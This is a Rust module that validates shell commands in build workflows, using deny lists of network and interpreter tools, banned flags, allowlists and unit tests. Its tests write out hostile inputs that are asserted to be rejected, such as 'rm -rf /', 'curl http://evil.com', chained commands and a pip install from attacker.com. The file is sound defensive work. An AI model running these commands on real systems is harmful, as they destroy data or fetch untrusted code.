1use anyhow::{bail, Result};
2use super::types::{Workflow, StepType};
3
4const FORBIDDEN_SHELL_CHARS: &[char] = &[';', '&', '|', '`', '$', '(', ')', '{', '}', '<', '>', '\n', '\r', '\t', '*', '?', '[', ']'];
5
6const ALWAYS_DENIED_PREFIXES: &[&str] = &[
10 "curl ", "wget ", "nc ", "ncat ", "netcat ",
11 "bash ", "sh ", "/bin/sh", "/bin/bash",
12 "/usr/bin/curl", "/usr/bin/wget", "/usr/bin/nc", "/usr/bin/ncat",
13 "/usr/bin/bash", "/usr/bin/sh", "/usr/bin/env bash", "/usr/bin/env sh",
14 "/usr/bin/python", "/usr/bin/python3", "/usr/bin/perl", "/usr/bin/ruby",
15 "/usr/bin/env python", "/usr/bin/env python3", "/usr/bin/env perl",
16 "/usr/bin/env ruby", "/usr/bin/env node",
17 "python -c", "python3 -c", "perl -e", "ruby -e",
18 "eval ", "exec ",
19 "go run", "go get", "go install",
20 "cargo run", "cargo install",
21 "go test -exec ", "go build -toolexec ", "go vet -vettool ",
23];
24
25const DENIED_FLAG_SUBSTRINGS: &[&str] = &[
29 " -exec ", " -toolexec ", " -vettool ",
30 " -exec=", " -toolexec=", " -vettool=",
31 " -o ", " -o=", " -o/",
34 " --target-dir ", " --target-dir=",
35 " --out-dir ", " --out-dir=",
36 " --manifest-path ", " --manifest-path=",
37 " --outDir ", " --outDir=", " --declarationDir ", " --declarationDir=",
39 " ..",
41 " http://", " https://", " ftp://", " file://",
43 " git+", " svn+", " hg+",
44];
45
46const ALLOWED_COMMAND_PREFIXES: &[&str] = &[
47 "cargo check", "cargo test", "cargo clippy", "cargo fmt", "cargo build",
48 "npm ci", "npm test",
49 "bun install --frozen-lockfile", "bun test",
50 "npx tsc", "bunx tsc",
51 "pip install -e .", "pip install -r requirements.txt", "pytest", "python -m pytest",
52 "go build", "go test", "go vet",
53 "echo ", ];
58
59const ALLOWED_EXACT_COMMANDS: &[&str] = &[
63 "npm run lint", "npm run check",
64 "bun run lint", "bun run check",
65];
66
67fn command_matches_prefix(command: &str, prefix: &str) -> bool {
72 command == prefix
73 || command.starts_with(&format!("{} ", prefix))
74 || prefix.ends_with(' ') && command.starts_with(prefix)
75}
76
77pub fn validate_workflow(workflow: &Workflow) -> Result<()> {
78 if workflow.stages.is_empty() {
79 bail!("workflow '{}' has no stages", workflow.name);
80 }
81 for stage in &workflow.stages {
82 if stage.steps.is_empty() {
83 bail!("stage '{}' has no steps", stage.name);
84 }
85 for step in &stage.steps {
86 if let StepType::Command { run } = &step.step_type {
87 validate_command_with_allowlist(run, &workflow.allowed_commands)?;
88 }
89 if let Some(ref wd) = step.work_dir {
90 if wd.components().any(|c| c == std::path::Component::ParentDir) {
91 bail!("step '{}' work_dir '{}' contains path traversal", step.name, wd.display());
92 }
93 if wd.is_absolute() {
94 bail!("step '{}' work_dir '{}' must be a relative path", step.name, wd.display());
95 }
96 }
97 }
98 }
99 Ok(())
100}
101
102pub fn validate_command(command: &str) -> Result<()> {
103 validate_command_with_allowlist(command, &[])
104}
105
106pub fn validate_command_with_allowlist(command: &str, custom_allowlist: &[String]) -> Result<()> {
107 let trimmed = command.trim();
108 if trimmed.is_empty() {
109 bail!("empty command");
110 }
111 if let Some(ch) = trimmed.chars().find(|c| FORBIDDEN_SHELL_CHARS.contains(c)) {
112 bail!("command contains forbidden shell metacharacter: {:?}", ch);
113 }
114 if ALWAYS_DENIED_PREFIXES.iter().any(|p| trimmed.starts_with(p)) {
116 bail!(
117 "command uses a permanently-denied prefix: '{}'",
118 trimmed
119 );
120 }
121 if DENIED_FLAG_SUBSTRINGS.iter().any(|s| trimmed.contains(s)) {
124 bail!(
125 "command contains a denied execution-delegation flag: '{}'",
126 trimmed
127 );
128 }
129 if ALLOWED_EXACT_COMMANDS.iter().any(|cmd| {
134 trimmed.starts_with(&format!("{} ", cmd))
135 }) {
136 bail!(
137 "command '{}' is only permitted as an exact match with no additional arguments",
138 trimmed
139 );
140 }
141 if custom_allowlist.is_empty() {
142 let is_allowed = ALLOWED_COMMAND_PREFIXES
143 .iter()
144 .any(|prefix| command_matches_prefix(trimmed, prefix))
145 || ALLOWED_EXACT_COMMANDS.contains(&trimmed);
146 if !is_allowed {
147 bail!(
148 "command not in allowlist: '{}'. Allowed prefixes: {:?}, exact commands: {:?}",
149 trimmed,
150 ALLOWED_COMMAND_PREFIXES,
151 ALLOWED_EXACT_COMMANDS
152 );
153 }
154 } else {
155 let is_allowed = custom_allowlist
156 .iter()
157 .any(|prefix| command_matches_prefix(trimmed, prefix.as_str()));
158 if !is_allowed {
159 bail!(
160 "command not in repo allowlist: '{}'. Allowed prefixes: {:?}",
161 trimmed,
162 custom_allowlist
163 );
164 }
165 }
166 Ok(())
167}
168
169#[cfg(test)]
170mod tests {
171 use super::*;
172 use crate::workflow::types::*;
173 use std::time::Duration;
174
175 fn make_cmd_step(name: &str, cmd: &str) -> Step {
176 Step {
177 name: name.to_string(),
178 step_type: StepType::Command { run: cmd.to_string() },
179 timeout: Duration::from_secs(60),
180 required: true,
181 changeset_aware: false,
182 work_dir: None,
183 }
184 }
185
186 #[test]
187 fn test_valid_commands() {
188 assert!(validate_command("cargo check").is_ok());
189 assert!(validate_command("cargo test --release").is_ok());
190 assert!(validate_command("bun test").is_ok());
191 assert!(validate_command("pytest -v").is_ok());
192 assert!(validate_command("pytest").is_ok());
193 }
194
195 #[test]
196 fn test_pytest_word_boundary() {
197 assert!(validate_command("pytest-exploit").is_err());
199 assert!(validate_command("pytest_exploit").is_err());
200 assert!(validate_command("pytest").is_ok());
202 assert!(validate_command("pytest -v --tb=short").is_ok());
203 }
204
205 #[test]
206 fn test_cargo_target_dir_denied() {
207 assert!(validate_command("cargo build --target-dir /tmp/evil").is_err());
208 assert!(validate_command("cargo build --target-dir=/tmp/evil").is_err());
209 assert!(validate_command("cargo build --out-dir /tmp/evil").is_err());
210 }
211
212 #[test]
213 fn test_go_build_concatenated_output_denied() {
214 assert!(validate_command("go build -o/tmp/evil ./...").is_err());
216 }
217
218 #[test]
219 fn test_tsc_output_dir_denied() {
220 assert!(validate_command("npx tsc --outDir /tmp/evil").is_err());
221 assert!(validate_command("npx tsc --outDir=/tmp/evil").is_err());
222 assert!(validate_command("npx tsc --declarationDir /tmp/evil").is_err());
223 }
224
225 #[test]
226 fn test_go_run_bare_denied() {
227 let custom = vec!["go run".to_string()];
229 assert!(validate_command_with_allowlist("go run", &custom).is_err());
230 assert!(validate_command_with_allowlist("go run ./cmd", &custom).is_err());
231 }
232
233 #[test]
234 fn test_cargo_manifest_path_denied() {
235 assert!(validate_command("cargo build --manifest-path /outside/Cargo.toml").is_err());
237 assert!(validate_command("cargo test --manifest-path=/outside/Cargo.toml").is_err());
238 assert!(validate_command("cargo check --manifest-path /etc/Cargo.toml").is_err());
239 }
240
241 #[test]
242 fn test_rejected_commands() {
243 assert!(validate_command("rm -rf /").is_err());
244 assert!(validate_command("curl http://evil.com").is_err());
245 assert!(validate_command("cargo test; rm -rf /").is_err());
246 assert!(validate_command("cargo test && curl evil").is_err());
247 }
248
249 #[test]
250 fn test_empty_stages_rejected() {
251 let wf = Workflow {
252 name: "bad".into(),
253 timeout: Duration::from_secs(60),
254 stages: vec![],
255 allowed_commands: vec![],
256 };
257 assert!(validate_workflow(&wf).is_err());
258 }
259
260 #[test]
261 fn test_valid_workflow_passes() {
262 let wf = Workflow {
263 name: "good".into(),
264 timeout: Duration::from_secs(60),
265 stages: vec![Stage {
266 name: "checks".into(),
267 parallel: false,
268 steps: vec![make_cmd_step("test", "cargo test")],
269 }],
270 allowed_commands: vec![],
271 };
272 assert!(validate_workflow(&wf).is_ok());
273 }
274
275 #[test]
276 fn test_bad_command_in_workflow_rejected() {
277 let wf = Workflow {
278 name: "bad".into(),
279 timeout: Duration::from_secs(60),
280 stages: vec![Stage {
281 name: "checks".into(),
282 parallel: false,
283 steps: vec![make_cmd_step("evil", "rm -rf /")],
284 }],
285 allowed_commands: vec![],
286 };
287 assert!(validate_workflow(&wf).is_err());
288 }
289
290 #[test]
291 fn test_glob_chars_rejected() {
292 assert!(validate_command("cargo test src/*.rs").is_err());
293 assert!(validate_command("cargo test src/?.rs").is_err());
294 assert!(validate_command("cargo test src/[a-z].rs").is_err());
295 assert!(validate_command("echo /etc/*").is_err());
296 assert!(validate_command("echo ../../*").is_err());
297 }
298
299 #[test]
300 fn test_custom_allowlist_permits_custom_command() {
301 let custom = vec!["eslint".to_string(), "prettier --check".to_string()];
302 assert!(validate_command_with_allowlist("eslint src/", &custom).is_ok());
303 assert!(validate_command_with_allowlist("prettier --check .", &custom).is_ok());
304 }
305
306 #[test]
307 fn test_custom_allowlist_rejects_unlisted_command() {
308 let custom = vec!["eslint".to_string()];
309 assert!(validate_command_with_allowlist("rm -rf /", &custom).is_err());
310 assert!(validate_command_with_allowlist("cargo test", &custom).is_err());
311 }
312
313 #[test]
314 fn test_custom_allowlist_still_blocks_shell_chars() {
315 let custom = vec!["eslint".to_string()];
316 assert!(validate_command_with_allowlist("eslint; rm -rf /", &custom).is_err());
317 }
318
319 #[test]
320 fn test_empty_allowlist_uses_default() {
321 assert!(validate_command_with_allowlist("cargo test", &[]).is_ok());
322 assert!(validate_command_with_allowlist("rm -rf /", &[]).is_err());
323 }
324
325 #[test]
326 fn test_validate_workflow_uses_custom_allowlist() {
327 let wf = Workflow {
328 name: "custom".into(),
329 timeout: Duration::from_secs(60),
330 stages: vec![Stage {
331 name: "lint".into(),
332 parallel: false,
333 steps: vec![make_cmd_step("lint", "eslint src/")],
334 }],
335 allowed_commands: vec!["eslint".to_string()],
336 };
337 assert!(validate_workflow(&wf).is_ok());
338 }
339
340 #[test]
341 fn test_validate_workflow_rejects_unlisted_with_custom_allowlist() {
342 let wf = Workflow {
343 name: "custom".into(),
344 timeout: Duration::from_secs(60),
345 stages: vec![Stage {
346 name: "checks".into(),
347 parallel: false,
348 steps: vec![make_cmd_step("test", "cargo test")],
349 }],
350 allowed_commands: vec!["eslint".to_string()],
351 };
352 assert!(validate_workflow(&wf).is_err());
353 }
354
355 #[test]
356 fn test_always_denied_prefixes_block_even_with_custom_allowlist() {
357 let custom = vec!["curl ".to_string(), "wget ".to_string()];
358 assert!(validate_command_with_allowlist("curl http://example.com", &custom).is_err());
359 assert!(validate_command_with_allowlist("wget http://example.com", &custom).is_err());
360 assert!(validate_command_with_allowlist("bash -c whoami", &custom).is_err());
361 assert!(validate_command_with_allowlist("nc -l 1234", &custom).is_err());
362 assert!(validate_command_with_allowlist("python -c 'import os'", &custom).is_err());
363 }
364
365 #[test]
366 fn test_always_denied_prefixes_block_with_default_allowlist() {
367 assert!(validate_command("curl http://example.com").is_err());
368 assert!(validate_command("wget http://example.com").is_err());
369 assert!(validate_command("bash -c whoami").is_err());
370 }
371
372 #[test]
373 fn test_install_commands_allowed_by_default() {
374 assert!(validate_command("npm ci").is_ok());
375 assert!(validate_command("bun install --frozen-lockfile").is_ok());
376 assert!(validate_command("pip install -r requirements.txt").is_ok());
377 assert!(validate_command("pip install -e .").is_ok());
378 }
379
380 #[test]
381 fn test_env_interpreter_variants_denied() {
382 let custom = vec!["/usr/bin/env python3".to_string()];
383 assert!(validate_command_with_allowlist("/usr/bin/env python3 script.py", &custom).is_err());
384 assert!(validate_command_with_allowlist("/usr/bin/env python script.py", &custom).is_err());
385 assert!(validate_command_with_allowlist("/usr/bin/env perl script.pl", &custom).is_err());
386 assert!(validate_command_with_allowlist("/usr/bin/env ruby script.rb", &custom).is_err());
387 assert!(validate_command_with_allowlist("/usr/bin/env node script.js", &custom).is_err());
388 }
389
390 #[test]
391 fn test_go_commands_allowed_by_default() {
392 assert!(validate_command("go build ./...").is_ok());
393 assert!(validate_command("go test ./...").is_ok());
394 assert!(validate_command("go vet ./...").is_ok());
395 }
396
397 #[test]
398 fn test_go_run_denied() {
399 assert!(validate_command("go run ./cmd/exploit").is_err());
401 let custom = vec!["go run".to_string()];
402 assert!(validate_command_with_allowlist("go run ./cmd/exploit", &custom).is_err());
403 }
404
405 #[test]
406 fn test_go_get_denied() {
407 assert!(validate_command("go get github.com/evil/pkg").is_err());
409 let custom = vec!["go get".to_string()];
410 assert!(validate_command_with_allowlist("go get ./...", &custom).is_err());
411 }
412
413 #[test]
414 fn test_go_install_denied() {
415 assert!(validate_command("go install github.com/evil/pkg@latest").is_err());
417 let custom = vec!["go install".to_string()];
418 assert!(validate_command_with_allowlist("go install github.com/evil/pkg@latest", &custom).is_err());
419 }
420
421 #[test]
422 fn test_npm_bun_run_only_specific_scripts() {
423 assert!(validate_command("npm run lint").is_ok());
425 assert!(validate_command("npm run check").is_ok());
426 assert!(validate_command("bun run lint").is_ok());
427 assert!(validate_command("bun run check").is_ok());
428 assert!(validate_command("npm run exploit").is_err());
430 assert!(validate_command("bun run exploit").is_err());
431 assert!(validate_command("npm run build").is_err());
432 assert!(validate_command("bun run build").is_err());
433 }
434
435 #[test]
436 fn test_npm_bun_run_argument_injection_denied() {
437 assert!(validate_command("npm run lint --flag").is_err());
440 assert!(validate_command("npm run lint /etc/passwd").is_err());
441 assert!(validate_command("npm run check --rulesdir /attacker-path").is_err());
442 assert!(validate_command("bun run lint --flag").is_err());
443 assert!(validate_command("bun run check extra-arg").is_err());
444 }
445
446 #[test]
447 fn test_npm_bun_run_argument_injection_denied_custom_allowlist() {
448 let custom = vec!["npm run lint".to_string(), "bun run check".to_string()];
452 assert!(validate_command_with_allowlist("npm run lint", &custom).is_ok());
453 assert!(validate_command_with_allowlist("bun run check", &custom).is_ok());
454 assert!(validate_command_with_allowlist("npm run lint --rulesdir /attacker-path", &custom).is_err());
456 assert!(validate_command_with_allowlist("bun run check extra-arg", &custom).is_err());
457 }
458
459 #[test]
460 fn test_pip_install_url_schemes_denied() {
461 assert!(validate_command("pip install -e git+https://attacker.com/evil.git").is_err());
463 assert!(validate_command("pip install -r https://attacker.com/reqs.txt").is_err());
464 assert!(validate_command("pip install -r http://attacker.com/reqs.txt").is_err());
465 assert!(validate_command("pip install -e .").is_ok());
467 assert!(validate_command("pip install -r requirements.txt").is_ok());
468 }
469
470 #[test]
471 fn test_cargo_run_and_install_denied() {
472 assert!(validate_command("cargo run --bin exploit").is_err());
473 let custom = vec!["cargo run".to_string()];
474 assert!(validate_command_with_allowlist("cargo run ./cmd", &custom).is_err());
475 assert!(validate_command("cargo install malicious-crate").is_err());
476 }
477
478 #[test]
479 fn test_pip_install_parent_dir_denied() {
480 assert!(validate_command("pip install -e ..").is_err());
482 assert!(validate_command("pip install -e ../other-pkg").is_err());
483 assert!(validate_command("pip install -e .").is_ok());
485 }
486
487 #[test]
488 fn test_go_build_output_flag_denied() {
489 assert!(validate_command("go build -o /tmp/payload ./cmd/exploit").is_err());
491 assert!(validate_command("go build -o=/tmp/payload ./...").is_err());
492 }
493
494 #[test]
495 fn test_go_exec_delegation_flags_denied() {
496 assert!(validate_command("go test -exec /usr/bin/sh ./...").is_err());
498 assert!(validate_command("go build -toolexec ./evil ./...").is_err());
500 assert!(validate_command("go vet -vettool ./evil ./...").is_err());
502 }
503 #[test]
504 fn test_go_build_concatenated_output_flag_denied() {
505 assert!(validate_command("go build -o/tmp/evil ./...").is_err());
507 }
508
509
510 #[test]
511 fn test_tsc_outdir_denied() {
512 assert!(validate_command("npx tsc --outDir /tmp/evil").is_err());
514 assert!(validate_command("npx tsc --outDir=/tmp/evil").is_err());
515 assert!(validate_command("bunx tsc --declarationDir /tmp/evil").is_err());
516 assert!(validate_command("bunx tsc --declarationDir=/tmp/evil").is_err());
517 }
518
519 #[test]
520 fn test_work_dir_path_traversal_rejected() {
521 use std::path::PathBuf;
522 let mut step = make_cmd_step("test", "cargo test");
523 step.work_dir = Some(PathBuf::from("../escape"));
524 let wf = Workflow {
525 name: "test".into(),
526 timeout: Duration::from_secs(60),
527 stages: vec![Stage { name: "s".into(), parallel: false, steps: vec![step] }],
528 allowed_commands: vec![],
529 };
530 assert!(validate_workflow(&wf).is_err());
531 }
532
533 #[test]
534 fn test_work_dir_absolute_rejected() {
535 use std::path::PathBuf;
536 let mut step = make_cmd_step("test", "cargo test");
537 step.work_dir = Some(PathBuf::from("/tmp/evil"));
538 let wf = Workflow {
539 name: "test".into(),
540 timeout: Duration::from_secs(60),
541 stages: vec![Stage { name: "s".into(), parallel: false, steps: vec![step] }],
542 allowed_commands: vec![],
543 };
544 assert!(validate_workflow(&wf).is_err());
545 }
546
547}
548